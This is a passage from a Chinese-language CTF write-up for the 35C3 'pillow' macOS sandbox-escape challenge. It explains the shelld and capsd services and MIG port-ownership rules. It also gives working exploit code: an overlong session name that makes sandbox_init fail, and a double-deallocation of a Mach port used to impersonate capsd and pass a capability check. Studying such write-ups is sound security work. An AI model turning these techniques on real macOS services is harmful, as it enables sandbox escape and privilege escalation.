    char* envp[] = {"PATH=/bin:/usr/bin:/usr/sbin", NULL};
    // 切换子进程的工作目录为先前创建的 session 文件夹
    char cwd[1024];
    snprintf(cwd, sizeof(cwd), "/private/tmp/shelld/%s", session_name);
    chdir(cwd);
    // 主动进入沙箱
    char profile[4096];
    snprintf(profile, sizeof(profile), sb_profile_template, session_name);
    sandbox_init(profile, 0, NULL);
    // 重定向 stdout
    dup2(fds[1], STDOUT_FILENO);
    close(STDERR_FILENO);
    close(STDIN_FILENO);

    close(fds[0]);
    close(fds[1]);
    // 执行 bash
    execve("/bin/bash", argv, envp);
    _exit(-1);
    } else if (pid < 0) {
    return KERN_FAILURE;
    }

    可以看到,子进程先是切换了自己当前的工作目录,之后主动进入沙箱重定向 stdout,并最终执行 bash 程序。

    调用 sandbox_init 进入沙箱时,需要指定沙箱规则,我们看看子进程的沙箱规则模板是什么样的:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    const char* sb_profile_template =   "(version 1)\n"
    "(deny default)\n"
    "(import \"system.sb\")\n"
    "(allow process-fork)\n"
    "(allow file-read* file-write* (subpath \"/private/tmp/shelld/%s\"))\n"
    "(allow file-read-data file-write-data (subpath \"/dev/tty\"))\n"
    "(allow file-read* process-exec (subpath \"/bin/\"))\n"
    "(allow file-read* process-exec (subpath \"/usr/bin/\"))\n"
    "(allow file-read* process-exec (subpath \"/usr/sbin/\"))\n";

    这里配置了一些权限:

    • 使用白名单设置

    • 导入 /System/Library/Sandbox/Profiles/system.sb 中的系统权限,这之中允许了 诸如读取 /dev/null、/dev/zero 文件等常用权限。

    • 允许 fork

    • 允许对该 session 工作路径下一切文件任意信息读写操作

      这里的任意信息包括但不限于:文件数据、文件数据、文件扩展属性等等。

      即一个文件里所有能读的东西。

    • 允许对 /dev/tty 路径下任意文件的数据读取和写入操作

    • 允许对 /bin、/usr/bin、/usr/sbin 文件夹下任意文件读取与执行

  5. 回到父进程,接下来父进程注册子进程退出时的事件处理例程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    int rfd = fds[0];

    __block int running = true;

    // 注册进程退出时的清除事件
    os_log(OS_LOG_DEFAULT, "shelld: bash spawned: %d\n", pid);
    dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_PROC, pid, DISPATCH_PROC_EXIT, dispatch_get_main_queue());
    dispatch_source_set_event_handler(source, ^{
    running = false;
    handle_process_exited(pid, session, rfd);
    dispatch_source_cancel(source);
    dispatch_release(source);
    });
    dispatch_resume(source);

    注意到处理例程内部调用的 handle_process_exited 函数:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    void handle_process_exited(pid_t pid, CFMutableDictionaryRef session, int output_fileno) {
    int status;
    waitpid(pid, &status, 0);

    os_log(OS_LOG_DEFAULT, "shelld: child %d exited with status %d", pid, status);

    char output[4096];
    size_t nread = read(output_fileno, output, sizeof(output) - 1);
    output[nread] = 0;

    CFNumberRef value;
    if (CFDictionaryGetValueIfPresent(session, CFSTR("listener"), (const void**)&value)) {
    mach_port_t listener;
    ASSERT(CFNumberGetValue(value, kCFNumberSInt32Type, &listener));
    shelld_client_notify(listener, status, output);
    }

    close(output_fileno);
    CFRelease(session);
    }

    该函数会将子进程的 stdout 全部输出信息,读取 4096字节并将其发送给 listener port,即 client。

  6. 最后父进程注册子进程的超时处理例程,每个子进程最多运行 60s,若执行超时则会被立即 kill。

    1
    2
    3
    4
    5
    6
    7
    // 设置子进程超时时间为 60s
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 60 * NSEC_PER_SEC), dispatch_get_main_queue(), ^{
    if (!running)
    return;
    os_log(OS_LOG_DEFAULT, "shelld: killing process %d due to timeout", pid);
    kill(pid, SIGKILL);
    });

d. client.c

示例代码 client 中所做的事情不多,具体说明内嵌进代码中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
kern_return_t shelld_client_notify(mach_port_t listener, int status, const char* output) {
printf("Command finished with status %d and output: %s\n", status, output);
return KERN_SUCCESS;
}

int main() {
printf("PID: %d\n", getpid());
puts("Press enter to continue...");
getchar();

// 获取 shelld 的mach port
mach_port_t bp, sp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "bootstrap_look_up");

// 创建一对收发信息的 listener 和 listener_send_right
mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

// 在 shelld 中创建一个 session
if (shelld_create_session(sp, "foo") != KERN_SUCCESS) {
puts("Failed to create session");
exit(-1);
}
// 将 listener_send_right 注册进 session 中的 listener
register_completion_listener(sp, "foo", listener_send_right);
mach_port_deallocate(mach_task_self(), listener_send_right);

// 设置自动处理 server 端调用的 notify 接口
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_client_server);
});
dispatch_activate(source);

// client 连续三次向 shelld 请求执行程序
printf("%d\n", shell_exec(sp, "foo", "echo Hello World > bar"));
printf("%d\n", shell_exec(sp, "foo", "cat bar"));
printf("%d\n", shell_exec(sp, "foo", "cat bar"));

dispatch_main();
return 0;
}

运行结果:

image-20220108135403282

e. 功能

通过阅读上面的代码,我们可以了解到,shelld 会根据信息发送方的权限请求,动态创建一个带有沙箱的子进程。这里的权限指的是 capsd 中存储的 capabilities。

四、漏洞点

当前的 exploit 位于沙箱中,因此无法直接读取外部的 flag。我们只能通过题目提供的两个服务来尝试进行沙箱逃逸,通过观察我们可以发现,shelld 中有个 shell_exec 函数可以执行一个新的程序,或许可以尝试让 shelld 启动一个子进程来读取 flag。但这里存在一些条件:

  1. shell_exec 中会先判断权限(即 capabilities),没有 "process-exec* "/bin/bash" 沙箱权限的请求者将无法让 shelld 启动新进程。很明显 Exploit 位于沙箱之中,沙箱规则没有提供这个权限,无法直接通过这个 check。
  2. 即便绕过了先前的权限判断,但 shell_exec 启动的子进程还会执行 sandbox_init 函数进入沙箱。一旦子进程进入沙箱,则子进程将无权读取 flag。

我们先从简单的入手。

1. sandbox_init 沙箱函数绕过

shell_exec 启动的子进程会执行 sandbox_init 函数,倘若该函数执行成功,那么子进程就无法读取到 flag。

那么,如何让 sandbox_init 函数执行失败呢?注意 sb_profile_template 字符串:

1
2
3
4
5
6
7
8
9
const char* sb_profile_template =   "(version 1)\n"
"(deny default)\n"
"(import \"system.sb\")\n"
"(allow process-fork)\n"
"(allow file-read* file-write* (subpath \"/private/tmp/shelld/%s\"))\n"
"(allow file-read-data file-write-data (subpath \"/dev/tty\"))\n"
"(allow file-read* process-exec (subpath \"/bin/\"))\n"
"(allow file-read* process-exec (subpath \"/usr/bin/\"))\n"
"(allow file-read* process-exec (subpath \"/usr/sbin/\"))\n";

根据我的测试,scheme in AppSandboxProfile 的字符串长度不得超过 1023 字节。如果超过则 scheme profile 将解析出错,sandbox_init 函数直接返回,不会进入沙箱

以下是测试结果:

image-20220108161115411

因此,我们可以通过传入超长 session name 来绕过子进程的 sandbox 初始化操作,就像下面这个 client:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <bootstrap.h>
#include <mig/shelld.h>
#include <mig/shelld_client.h>

#include <common/utils.h>
#include <common/decls.h>

boolean_t shelld_client_server(
mach_msg_header_t *InHeadP,
mach_msg_header_t *OutHeadP);


kern_return_t shelld_client_notify(mach_port_t listener, int status, const char* output) {
printf("Command finished with status %d and output: %s\n", status, output);
return KERN_SUCCESS;
}

// ./client `python -c "print('a'*3)"`
int main(int argc, char* argv[]) {
char* session_name = argv[1];
printf("session_name: %s\n", session_name);

mach_port_t bp, sp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "bootstrap_look_up");

mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

shelld_create_session(sp, session_name);

register_completion_listener(sp, session_name, listener_send_right);
mach_port_deallocate(mach_task_self(), listener_send_right);

dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, dispatch_get_main_queue());
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_client_server);
});
dispatch_activate(source);

// 测试基本功能
printf("%d\n", shell_exec(sp, session_name, "echo 'Hello World'"));
// 尝试读取沙箱外部数据
printf("%d\n", shell_exec(sp, session_name, "cat /Users/kiprey/Desktop/CTF/35c3ctf/pillow/flag"));

dispatch_main();
return 0;
}

运行结果如下:

image-20220108212040495

可以看到当传入的 session name 超级长的时候,即可超过沙箱函数,读取到沙箱外部文件。

该问题成功解决。

2. Capabilities 权限检测绕过

这里算是整个题目的重点,稍微有点复杂。

a. 提出的设想

接下来我们需要绕过 sandbox_check_with_capabilities 检查。再贴一下它的代码:

1
2
3
4
5
6
7
8
9
10
11
12
int sandbox_check_with_capabilities(audit_token_t creds, const char* operation, int flags, const char* arg) {
int result = sandbox_check_by_audit_token(creds, operation, flags, arg);
if (result != 1) {
return result;
}

int client_has_capability = 0;
pid_t pid = audit_token_to_pid(creds);
has_capability(capsd_service_port, pid, operation, arg, &client_has_capability);

return !client_has_capability;
}

很明显,作为位于沙箱中的发送方,exploit 肯定没有权限执行 /bin/bash,因此 sandbox_check_by_audit_token 无论如何一定会返回 1。因此 shelld 将会向 capsd 进行第二次查询。

如果 capsd 中可以返回一个 has capability 的结果给 shelld,那么 exploit 就可以通过 sandbox check,从而 get flag。但正常情况下 exploit 无法通过 capsd 里 grand_capability 方法中的 sand_check_* 函数,因此 capsd 将不会返回一个我们所期望的结果给 shelld。

如果我们能劫持这个 capsd_service_port ,自己伪造一个 “capsd” 向 shelld 发送伪造结果,那么就可以通过 shelld 的 sandbox check,进而 get flag。

那该如何伪造呢?这就涉及 MIG 所有权规则(MIG ownership rule)

b. MIG 所有权规则

这里的所有权,指的是调用者参数形式 传给 MIG 例程的 mach port的所有权。

之前在学习 Mach IPC 时,我们只是简单的了解了 MIG 传递基础类型的例子,并没有思考过传递复杂类型参数时的一些细节。

现在仔细想想,对于调用者传递一个 mach port 给 server 的情况,这个 mach port 的生命周期该如何管理呢?

这里,我们将以 shelld 中的 register_completion_listener 函数来作为一个例子,因为只有该函数会接收一个 mach port 类型的参数。

1) shelld_server

初始时,shelld 会指定 shell_server 函数来处理所有传入的 mach message。而 MIG shelld_server 函数的功能相当简单:做一些基础检查工作,之后根据接收到的 mach message 中的 msgh_id 字段,来动态选择调用哪个 routine 例程:

之前曾提到过,每个 mach message header 中有个字段 msgh_id,这个是可供用户自己使用的一个字段, MIG 使用该字段来区分client 想调用哪个 server 接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// shelldServer.c
mig_external boolean_t shelld_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
register mig_routine_t routine;
// 初始化待返回给 client 的 mach message 相关字段
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
/* Minimal size: routine() will update it if different */
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
// 判断 msg_id 是否有效,如果有效,则设置 msg_id 对应的 MIG 接口处理例程至 routine 函数指针中
if ((InHeadP->msgh_id > 133703) || (InHeadP->msgh_id < 133700) ||
((routine = shelld_subsystem.routine[InHeadP->msgh_id - 133700].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
return FALSE;
}
// 最后调用该 MIG 接口处理例程
(*routine) (InHeadP, OutHeadP);
return TRUE;
}

需要注意的是,shell_server 在 MIG 功能正常的情况下,将会始终返回 TRUE

同时我们也可以看到,返回给 client 的信息并非 COMPLEX

注意给 OutHeadP 设置 msgh_bits 时没有指定 COMPLEX flag。

2) _Xregister_completion_listener

当 Client 需要调用 register_completion_listener 函数时,shelld_server 会对应的调用到该函数的 routine 函数,即 _Xregister_completion_listener

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/* Routine register_completion_listener */
mig_internal novalue _Xregister_completion_listener
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
{
[...]
typedef struct {
mach_msg_header_t Head;
/* start of the kernel processed data */
mach_msg_body_t msgh_body;
mach_msg_port_descriptor_t listener;
/* end of the kernel processed data */
NDR_record_t NDR;
mach_msg_type_number_t sessionOffset; /* MiG doesn't use it */
mach_msg_type_number_t sessionCnt;
char session[4096];
mach_msg_max_trailer_t trailer;
} Request __attribute__((unused));
[...]
typedef __Request__register_completion_listener_t __Request;
typedef __Reply__register_completion_listener_t Reply __attribute__((unused));


Request *In0P = (Request *) InHeadP;
Reply *OutP = (Reply *) OutHeadP;
mach_msg_max_trailer_t *TrailerP;
[...]
OutP->RetCode = register_completion_listener(In0P->Head.msgh_request_port, In0P->session, In0P->listener.name, TrailerP->msgh_audit);

[...]
}

可以看到,Client 传递 mach port 给 server 时,是通过 mach_msg_port_descriptor_t来传递的。并且在下面调用了最终服务器所实现的那个接口,并将返回值(KERN_* 类型)存入 RetCode 字段中。

以下是返回的 mach msg 结构体,可以看到这个字段是为数不多会向上层传递的值:

1
2
3
4
5
typedef struct {
mach_msg_header_t Head;
NDR_record_t NDR;
kern_return_t RetCode;
} __Reply__unregister_completion_listener_t __attribute__((unused));

那么这个 RetCode 在哪里使用呢?换句话说 server 实现的接口所返回的 KERN_* 返回值,对 server 所接收到的 listener mach port 的生命周期有影响么?

还真有影响。

3) libdispatch

我们再来看看 libdispatch 是如何处理 client 传来的 mach message 的。

对于 shelld 来说,可以看到它指定 libdispatch 调用 dispatch_mig_server 函数来处理 mach message。

1
2
3
4
5
6
7
8
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, service_port, 0, dispatch_get_main_queue());

dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, shelld_server);
});

dispatch_resume(source);
dispatch_main();

那我们就来简单了解一下 dispatch_mig_server 这个函数,以下是该函数核心源代码,代码经过省略并添加大量说明文字:

libdispatch 源码可以到 apple opensource libdispatch src 获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
mach_msg_return_t
dispatch_mig_server(dispatch_source_t ds, size_t maxmsgsz,
dispatch_mig_callback_t callback)
{
[...]
uint32_t cnt = 1000; // do not stall out serial queues
boolean_t demux_success;
bool received = false;
[...]

tmp_options = options;
// XXX FIXME -- change this to not starve out the target queue
// 尝试 cnt 次从消息队列中读取数据的操作
for (;;) {
// 如果循环经历了 cnt 次,或者等待队列为空
if (DISPATCH_QUEUE_IS_SUSPENDED(ds) || (--cnt == 0)) {
// 则在接下来的函数执行过程中,不再接收 mach message
options &= ~MACH_RCV_MSG;
tmp_options &= ~MACH_RCV_MSG;
// 如果此时没有需要发送的数据,即这次是要继续尝试接收 message ,则直接返回
if (!(tmp_options & MACH_SEND_MSG)) {
goto out;
}
}
// 此时 mach_msg 可能会接收或发送消息。循环第一次为RCV,第二次为SEND+RCV,第三次为SEND+RCV,最后一次为RCV,以此类推。
kr = mach_msg(&bufReply->Head, tmp_options, bufReply->Head.msgh_size,
(mach_msg_size_t)rcv_size, (mach_port_t)dr->du_ident, 0, 0);
// 重置临时设置
tmp_options = options;
// mach_msg 错误处理,这里无需关注
if (unlikely(kr)) {
[...]
goto out;
}
// 如果接下来不再需要接收消息,则直接返回
if (!(tmp_options & MACH_RCV_MSG)) {
goto out;
}

[...]
// 走到这里则说明这一轮的循环 接收了一个 mach message(有没有在接收的时候顺带发了个msg,这里不管)
received = true;

// bufRequest 和 bufReply 进行交换
bufTemp = bufRequest;
bufRequest = bufReply;
bufReply = bufTemp;
// 此时接收到的 Mach msg 位于 bufRequest

[...]

_voucher_replace(voucher_create_with_mach_msg(&bufRequest->Head));
bufReply->Head = (mach_msg_header_t){ };
// 将接收到的信息调用 callback 处理,这里的 callback 是其他程序为 dispatch_mig_server 函数指定的一个 MIG 处理例程
// 在 shelld 中,这个 callback 为 shelld_server
demux_success = callback(&bufRequest->Head, &bufReply->Head);

// 如果传入的 MIG Message 的 msgh_id 错误,导致 callback 失败
if (!demux_success) {
// destroy the request - but not the reply port
bufRequest->Head.msgh_remote_port = 0;
mach_msg_destroy(&bufRequest->Head);
// 如果 callback 成功,并且需要返回的信息并非复杂信息
} else if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
// if MACH_MSGH_BITS_COMPLEX is _not_ set, then bufReply->RetCode
// is present
// 如果调用 server 的接口失败,即该接口返回的值不为 KERN_SUCCESS
if (unlikely(bufReply->RetCode)) {
[...]

// destroy the request - but not the reply port
bufRequest->Head.msgh_remote_port = 0;
// 将会析构掉发来的 mach message
mach_msg_destroy(&bufRequest->Head);
}
}
// 如果需要回复信息,则设置 SEND flag,一会将跳转至循环头部执行 mach_msg(RCV|SEND)
if (bufReply->Head.msgh_remote_port) {
tmp_options |= MACH_SEND_MSG;
if (MACH_MSGH_BITS_REMOTE(bufReply->Head.msgh_bits) !=
MACH_MSG_TYPE_MOVE_SEND_ONCE) {
tmp_options |= MACH_SEND_TIMEOUT;
}
}
}
[...]

return kr;
}

注意到这个片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 在 shelld 中,这个 callback 为 shelld_server
demux_success = callback(&bufRequest->Head, &bufReply->Head);

// 如果传入的 MIG Message 的 msgh_id 错误,导致 callback 失败
if (!demux_success) {
[...]
// 如果 callback 成功,并且需要返回的信息并非复杂信息
} else if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
// if MACH_MSGH_BITS_COMPLEX is _not_ set, then bufReply->RetCode
// is present
// 如果调用 server 的接口失败,即该接口返回的值不为 KERN_SUCCESS
if (unlikely(bufReply->RetCode)) {
[...]

// destroy the request - but not the reply port
bufRequest->Head.msgh_remote_port = 0;
// 将会析构掉发来的 mach message
mach_msg_destroy(&bufRequest->Head);
}
}

其中, callback 为之前 shelld 所指定的 shelld_server,几乎不可能返回 FALSE,同时待回复的 mach message 不为 COMPLEX,因此接下来的第一个 if 判断将不成立,进入第二个 if 分支中。

在这个 if 分支中,dispatch_mig_server 将对调用结果 RetCode 进行判断:如果调用失败,则调用 mach_msg_destroy 将 Request message 析构

而在 mach_msg_destroy 的 XNU 实现中,注意到它会析构掉所传入 mach msg 中的 MACH_MSG_PORT_DESCRIPTOR,而这里存放的是先前 client 传来的 listerner mach port

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void
mach_msg_destroy(mach_msg_header_t *msg)
{
mach_msg_bits_t mbits = msg->msgh_bits;

/*
* The msgh_local_port field doesn't hold a port right.
* The receive operation consumes the destination port right.
*/

mach_msg_destroy_port(msg->msgh_remote_port, MACH_MSGH_BITS_REMOTE(mbits));
mach_msg_destroy_port(msg->msgh_voucher_port, MACH_MSGH_BITS_VOUCHER(mbits));

if (mbits & MACH_MSGH_BITS_COMPLEX) {
mach_msg_base_t *base;
mach_msg_type_number_t count, i;
mach_msg_descriptor_t *daddr;

base = (mach_msg_base_t *) msg;
count = base->body.msgh_descriptor_count;

daddr = (mach_msg_descriptor_t *) (base + 1);
for (i = 0; i < count; i++) {
switch (daddr->type.type) {
case MACH_MSG_PORT_DESCRIPTOR: {
// 如果传入的 mach msg 中 description 类型为 PORT,则调用 mach_msg_destroy_port 将其释放
mach_msg_port_descriptor_t *dsc;

/*
* Destroy port rights carried in the message
*/
dsc = &daddr->port;
// 而 mach_msg_destroy_port 函数均会调用 mach_port_deallocate 释放该 port
mach_msg_destroy_port(dsc->name, dsc->disposition);
daddr = (mach_msg_descriptor_t *)(dsc + 1);
break;
}
[...]
}
}
}
}

这意味着:若 Server 所实现接口不返回 KERN_SUCCESS 时,libdispatch 将自动释放 client 传给 server 的 listener (mach port)。

即:如果 MIG 调用 返回成功代码,则意味着该方法获得了消息中包含的所有 mach port right 的所有权;如果 MIG 调用 返回失败代码,则意味着该方法对消息中包含的 mach port right 不具有任何所有权,此时消息中包含的 mach port right 将会静默被 MIG 析构。

4) mach_msg_server*

除了 libdispatch 以外,其他用于 MIG 的 mach_msg_servermach_msg_server_once 函数同样遵循该规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
mach_msg_return_t
mach_msg_server(
boolean_t (*demux)(mach_msg_header_t *, mach_msg_header_t *),
mach_msg_size_t max_size,
mach_port_t rcv_name,
mach_msg_options_t options)
{
[...]

for (;;) {
[...]

// 获取发来的信息
mr = mach_msg(&bufRequest->Head, MACH_RCV_MSG|MACH_RCV_VOUCHER|options,
0, request_size, rcv_name,
MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

while (mr == MACH_MSG_SUCCESS) {
/* we have another request message */

buffers_swapped = FALSE;
old_state = voucher_mach_msg_adopt(&bufRequest->Head);

// 调用 MIG server
(void) (*demux)(&bufRequest->Head, &bufReply->Head);

// 如果返回的 mach msg 不为 COMPLEX
if (!(bufReply->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
if (bufReply->RetCode == MIG_NO_REPLY)
bufReply->Head.msgh_remote_port = MACH_PORT_NULL;
// 并且 MIG 调用存在错误,同时 Client 传来的消息是 COMPLEX
else if ((bufReply->RetCode != KERN_SUCCESS) &&
(bufRequest->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX)) {
/* destroy the request - but not the reply port */
bufRequest->Head.msgh_remote_port = MACH_PORT_NULL;
// 调用 mach_msg_destroy 将其析构
mach_msg_destroy(&bufRequest->Head);
}
}

[...]

} /* while (mr == MACH_MSG_SUCCESS) */

[...]

break;

} /* for(;;) */

(void)vm_deallocate(self,
(vm_address_t) bufRequest,
request_alloc);
(void)vm_deallocate(self,
(vm_address_t) bufReply,
reply_alloc);
return mr;
}

c. 存在的问题

那么现在回到 register_completion_listern 函数中,我们再来看看哪里不对劲:

1
2
3
4
5
6
7
8
9
10
11
12
13
kern_return_t register_completion_listener(mach_port_t server, const char* session_name, mach_port_t listener, audit_token_t client) {
CFMutableDictionaryRef session = lookup_session(session_name, client);
if (!session) {
mach_port_deallocate(mach_task_self(), listener);
return KERN_FAILURE;
}

CFNumberRef value = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &listener);
CFDictionaryAddValue(session, CFSTR("listener"), value);
CFRelease(value);

return KERN_SUCCESS;
}

很明显,既然该函数要在查询不到 session 时返回 KERN_FAILUE,那么就不应该对 listerner 这个 mach port 进行 deallocation 操作,这将使得该 mach port 被 deallocate 两次,一次是该函数中,另一次是在 MIG 其他处理过程中。

d. 接管 capsd_service_port

根据上面的内容我们可以了解到,register_completion_listener 函数可能会导致对某个 mach port 的 double deallocation。

而又因为 mach port 是引用计数的,因此我们可以将 capsd_service_port 传给该函数,利用该函数的漏洞点,尝试二次释放掉 capsd_service_port。因为此时的 capsd_service_port 的引用计数为 2,二次释放将使得该 mach port 的引用计数归 0,导致该 mach port name 在当前 task 中被彻底释放。这样,该 mach port name 可被下一次创建的 mach port 所重用。

shelld 中, capsd_service_port 的引用计数在执行 register_completion_listener(..., capsd_service_port),之所以为 2,是因为:

  1. shelld 在 main 函数中执行 bootstrap_look_up,已经获取了一次 capsd_service_port 的 right
  2. 执行 register_completion_listener 时,client 将再发送一次 capsd_service_port 给 server

故 server 将在两个不同的地方持有相同的 port,引用计数为2。

因此,我们便可以尝试 劫持/接管 这个被释放掉的 mach port name,对 shelld 伪造一个 “capsd”,在 shelld 进行权限查询时返回错误结果,绕过 sandbox capability check。

花了点时间写了下利用,以下代码成功突破 shelld 的 sandbox capabilities check:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <bootstrap.h>
#include <stdlib.h>

#include "../mig/shelld.h"
#include "../common/utils.h"
#include "../common/decls.h"

// 伪造 capsd 必备函数
boolean_t capsd_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);

kern_return_t grant_capability(mach_port_t server, audit_token_t token, pid_t target, const char* op, const char* arg) {
return KERN_SUCCESS;
}

kern_return_t has_capability(mach_port_t server, pid_t pid, const char* op, const char* arg, int* out) {
*out = 1;
return KERN_SUCCESS;
}

int main(int argc, char* argv[]) {
// 获取 bootstrap port、 shelld port 和 capsd port
mach_port_t bp, sp, cp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "shelld bootstrap_look_up");
kr = bootstrap_look_up(bp, "net.saelo.capsd", &cp);
ASSERT_SUCCESS(kr, "capsd bootstrap_look_up");

// 先提前准备好一个可用的 session
shelld_create_session(sp, "session");

// 简单测试一下,肯定无法通过 capability 检测,因为 exp 没有 /bin/bash 的启动权限
kr = shell_exec(sp, "session", "echo 'Hello World'");
if(kr != KERN_SUCCESS)
printf("[*] shell_exec faild before attack.\n");

// 尝试将 shelld 中的 capsd_service_port 释放
register_completion_listener(sp, "non-exist-session", cp);

// 创建一对新的 listener 和 listener_send_right
mach_port_t listener, listener_send_right;
mach_msg_type_name_t aquired_right;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &listener);
mach_port_extract_right(mach_task_self(), listener, MACH_MSG_TYPE_MAKE_SEND, &listener_send_right, &aquired_right);

/* 启动一个 伪capsd_server
需要注意的是,这里必须创建新的 dispatch queue 给 listener,
因为 main queue 需要调用 dispatch_main 才能使用,但我们仍然需要使用控制流,因此不能调用 dispatch_main */
dispatch_queue_main_t replyQueue = dispatch_queue_create("replyQueue", NULL);
dispatch_source_t source = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, listener, 0, replyQueue);
dispatch_source_set_event_handler(source, ^{
dispatch_mig_server(source, MAX_MSG_SIZE, capsd_server);
});
dispatch_resume(source);

// 尝试绕过 sandbox capabilities check
for(size_t cnt = 0; cnt < 10000; ++cnt) {
register_completion_listener(sp, "session", listener_send_right);
// 测试基本功能
kr = shell_exec(sp, "session", "echo 'Hello World'");
if(kr == KERN_SUCCESS) {
printf("[+] shell_exec success! test %zu times.\n", cnt);
break;
}
// 如果无法使用,则将该 listener 从 shelld 中删除
unregister_completion_listener(sp, "session");
}

exit(EXIT_FAILURE);
}

运行效果如下,可以看到成功通过 capabilities check:

image-20220108224804659

需要注意的是,调试时,最好每次都重启一下 shelld,防止其内部旧数据影响调试。

五、漏洞利用

综合上面的内容,我们最终可以拼接出一个完整 exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <bootstrap.h>
#include <stdlib.h>

#include "../mig/shelld.h"
#include "../common/utils.h"
#include "../common/decls.h"

// 伪造 capsd 必备函数
boolean_t capsd_server
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP);

kern_return_t grant_capability(mach_port_t server, audit_token_t token, pid_t target, const char* op, const char* arg) {
return KERN_SUCCESS;
}

kern_return_t has_capability(mach_port_t server, pid_t pid, const char* op, const char* arg, int* out) {
*out = 1;
return KERN_SUCCESS;
}

int main(int argc, char* argv[]) {
// 获取 bootstrap port、 shelld port 和 capsd port
mach_port_t bp, sp, cp;
task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &bp);
kern_return_t kr = bootstrap_look_up(bp, "net.saelo.shelld", &sp);
ASSERT_SUCCESS(kr, "shelld bootstrap_look_up");
kr = bootstrap_look_up(bp, "net.saelo.capsd", &cp);
ASSERT_SUCCESS(kr, "capsd bootstrap_look_up");

